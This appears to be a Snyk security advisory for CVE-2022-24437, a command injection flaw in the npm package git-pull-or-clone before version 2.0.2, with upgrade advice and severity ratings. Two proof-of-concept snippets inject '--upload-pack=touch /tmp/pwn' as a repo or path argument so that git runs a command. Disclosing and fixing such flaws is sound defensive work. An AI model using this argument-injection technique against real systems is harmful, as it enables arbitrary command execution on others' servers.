

Command Injection

Affecting `git-pull-or-clone` package, versions <2.0.2

INTRODUCED: 28 MAR 2022 CVE-2022-24437 ?

CWE-78 ?

FIRST ADDED BY SNYK

Share ▼

How to fix?

Upgrade `git-pull-or-clone` to version 2.0.2 or higher.

Overview

`git-pull-or-clone` is an Ensure a git repo exists on disk and that it's up-to-date

Affected versions of this package are vulnerable to Command Injection due to the use of the `--upload-pack` feature of git which is also supported for git clone. The source includes the use of the secure child process API `spawn()`. However, the `outpath` parameter passed to it may be a command-line argument to the `git clone` command and result in arbitrary command injection.

PoC 1

```
const gitPullOrClone = require('git-pull-or-clone')
const repo = 'file:///tmp/zero12345'
const path = '--upload-pack=touch /tmp/pwn3'
gitPullOrClone(repo, path, (err) => { if (err)
throw err console.log('SUCCESS!') })
```



Snyk CVSS

Attack Complexity Low ?

Confidentiality HIGH ?

Integrity HIGH ?

Availability HIGH ?

[See more](#)

> NVD

9.8 CRITICAL

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes

PoC 2

```
const gitPullOrClone = require('git-pull-or-clone')
const repo = '--upload-pack=touch /tmp/pwn4'
const path = 'file:///tmp/zero12345'
gitPullOrClone(repo, path, (err) => { if (err) throw err
console.log('SUCCESS!') })
```

References

- [GitHub Commit](#)
- [GitHub Gist](#)

Suggest your quick fixes.

Test your applications

SnykSNYK-JS-ID GITPULLORCLONE-2434307

Published 8 Apr 2022

Disclosed 28 Mar 2022

Credit Liran Tal of Snyk

Report a new vulnerability

Found a mistake?

PRODUCT

- Snyk Open Source
- Snyk Code
- Snyk Container
- Snyk Infrastructure as Code
- Test with Github
- Test with CLI

RESOURCES

- Vulnerability DB
- Documentation
- Disclosed Vulnerabilities

PRODUCTS & SERVICES

[Blog](#)

[FAQs](#)

COMPANY

[About](#)

[Jobs](#)

[Contact](#)

[Policies](#)

[Do Not Sell My Personal Information](#)

CONTACT US

[Support](#)

[Report a new vuln](#)

[Press Kit](#)

[Events](#)

FIND US ONLINE

TRACK OUR DEVELOPMENT



Join the >>
community

© 2022 Snyk Limited

Registered in England and Wales. Company number: 09677925

Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.

